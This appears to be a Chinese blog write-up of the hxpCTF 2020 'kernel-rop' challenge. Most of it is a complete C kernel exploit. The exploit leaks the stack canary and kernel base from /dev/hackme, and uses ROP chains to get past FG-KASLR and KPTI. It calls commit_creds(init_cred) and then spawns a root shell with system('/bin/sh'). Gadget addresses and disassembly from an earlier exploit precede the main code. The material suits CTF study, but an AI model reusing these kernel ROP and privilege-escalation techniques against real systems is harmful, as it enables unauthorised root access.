   0xffffffffa0de50f6:  je     0xffffffffa0de5114
   0xffffffffa0de50f8:  lea    r8,[rdi+rdx*1]
   0xffffffffa0de50fc:  mov    rdx,rdi
   0xffffffffa0de50ff:  movzx  ecx,BYTE PTR [rsi]
   0xffffffffa0de5102:  cmp    cl,0x1
   0xffffffffa0de5105:  mov    BYTE PTR [rdx],cl
   0xffffffffa0de5107:  sbb    rsi,0xffffffffffffffff
   0xffffffffa0de510b:  add    rdx,0x1
   0xffffffffa0de510f:  cmp    rdx,r8
   0xffffffffa0de5112:  jne    0xffffffffa0de50ff
   0xffffffffa0de5114:  ret

0xffffffff81090c7f : pop r15 ; ret
0xffffffff830820f4 : mov esi, 0xffffffff ; mov rdi, r8 ; call qword ptr [r15 + 0x18]



*/

void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}

void getshell(void)
{   
    RED;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   BLUE;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}

hxpCTF 2020-kernel-rop

利用手法:bypasskpti+fgkaslr

read的栈泄露

write栈溢出

题目很简单主要就是绕过fgkaslr,查找gadget的时候在.text的范围内

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char


size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
int dev_fd;

char buf[0x300]={0};
size_t commit_creds_value_offset=0;
size_t canary=0;
size_t vmlinux_offset=0;

void get_commit_credsAddr(){
   __asm__("mov commit_creds_value_offset,rax;");
   puts("get_commit_credsAddr");
   commit_creds_value_offset=commit_creds_value_offset&0xffffffff;
   BLUE;printf("commit_creds_value_offset %llx",commit_creds_value_offset);CLOSE;
   commit_creds=commit_creds_value_offset-(0x100000000)+__ksymtab_commit_creds;
   BLUE;printf("commit_creds %llx",commit_creds);CLOSE;   
   size_t rop[]={
      0xffffffff81006370+vmlinux_offset,
      init_cred,
      commit_creds,
      swapgs_restore_regs_and_return_to_usermode,
      0,
      0,
      getshell,
      user_cs,
      user_rflags,
      user_sp,
      user_ss
   };
   memcpy(buf+0xa0,rop,sizeof(rop));
   write(dev_fd,buf,0xa0+sizeof(rop));
/*
0xffffffff81006370 : pop rdi ; ret
*/
}

void get_commit_credstoRAX(){
   puts("get_commit_credstoRAX");
   size_t rop[]={
      0xffffffff81004d11+vmlinux_offset,
      __ksymtab_commit_creds,
      0xffffffff81015a7f+vmlinux_offset,
      0,
      swapgs_restore_regs_and_return_to_usermode,
      0,
      0,
      get_commit_credsAddr,
      user_cs,
      user_rflags,
      user_sp,
      user_ss
   };
   memcpy(buf+0xa0,rop,sizeof(rop));
   write(dev_fd,buf,0xa0+sizeof(rop));
/*
0xffffffff81004d11 : pop rax ; ret
0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
*/
}


const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/hackme\0";

int main(void){
    save_status();
    BLUE;puts("[*]start");CLOSE;
    dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }

   read(dev_fd,buf,0x1f0);
   binary_dump(NULL,buf,0x1f0);
   canary=*(size_t*)(buf+0x80);
   size_t vmlinux_leak=*(size_t*)(buf+0x120+0x10);
   vmlinux_base=vmlinux_leak-0xa157;
   showAddr(canary);
   showAddr(vmlinux_base);
   vmlinux_offset=vmlinux_base-raw_vmlinux_base;
   init_cred=vmlinux_offset+0xffffffff82060f20;
   __ksymtab_commit_creds=0xffffffff81f87d90+vmlinux_offset;
   swapgs_restore_regs_and_return_to_usermode=0xffffffff81200f10+vmlinux_offset+0x16;
   get_commit_credstoRAX();

   BLUE;puts("[*]end");CLOSE;
   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}

void binary_dump(char *desc, void *addr, int len) {
    _QWORD *buf64 = (_QWORD *) addr;
    _BYTE *buf8 = (_BYTE *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   BLUE;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}

参考:https://ctf-wiki.org/pwn

【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog

kernel-pwn之ret2dir利用技巧-CSDN博客

[原创]KERNEL PWN状态切换原理及KPTI绕过-Pwn-看雪-安全社区|安全招聘|kanxue.com

0 条评论
某人
表情
可输入 255